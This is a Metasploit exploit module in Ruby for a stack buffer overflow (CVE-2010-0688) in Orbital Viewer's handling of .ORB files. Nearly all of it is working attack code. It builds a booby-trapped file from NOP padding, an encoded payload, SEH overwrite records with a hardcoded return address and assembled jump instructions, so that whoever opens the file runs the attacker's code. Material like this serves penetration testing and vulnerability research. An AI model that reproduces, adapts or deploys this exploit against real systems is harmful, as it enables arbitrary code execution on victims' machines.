Orbital Viewer – ‘.ORB’ File Parsing Buffer Overflow (Metasploit)
## # $Id: orbital_viewer_orb.rb 8757 2010-03-09 05:57:22Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Orbital Viewer ORB File Parsing Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in David Manthey's Orbital Viewer. When processing .ORB files, data is read from file into a fixed-size stack buffer using the fscanf function. Since no bounds checking is done, a buffer overflow can occur. Attackers can execute arbitrary code by convincing their victim to open an ORB file. }, 'License' => MSF_LICENSE, 'Author' => [ 'jduck' ], 'Version' => '$Revision: 8757 $', 'References' => [ [ 'BID', '38436' ], [ 'OSVDB', '62580' ], [ 'CVE', '2010-0688' ], [ 'URL', 'http://www.corelan.be:8800/index.php/forum/security-advisories/corelan-10-011-orbital-viewer-orb-buffer-overflow/' ], [ 'URL', 'http://www.exploit-db.com/exploits/11581' ] ], 'Payload' => { 'Space' => 2048, 'BadChars' => "\x00\x09\x0a\x0d\x20", # \xbd was safe in my test, \x09 was not 'DisableNops' => true, }, 'Platform' => 'win', 'Targets' => [ [ 'Orbital Viewer 1.04 on Windows XP SP3', { 'Ret' => 0x004032a2, # p/p/r in ov.exe v1.0.0.2 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Feb 27 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.orb']), ], self.class) end def exploit # One for double-click seh1 = 3968 # One for DnD and File->Open seh2 = seh1 + 2092 sploit = "OrbitalFileV1.0\r\n" line2 = '' nop_count = seh1 - payload.encoded.length line2 << make_nops(nop_count) line2 << payload.encoded line2 << generate_seh_record(target.ret) distance = seh1 + 8 line2 << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string line2 << rand_text_alphanumeric(seh2 - line2.length) line2 << generate_seh_record(target.ret) distance = seh2 + 8 line2 << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string # Crash writing past end of stack... line2 << rand_text_alphanumeric(1024) * 20 sploit << line2 print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(sploit) end end |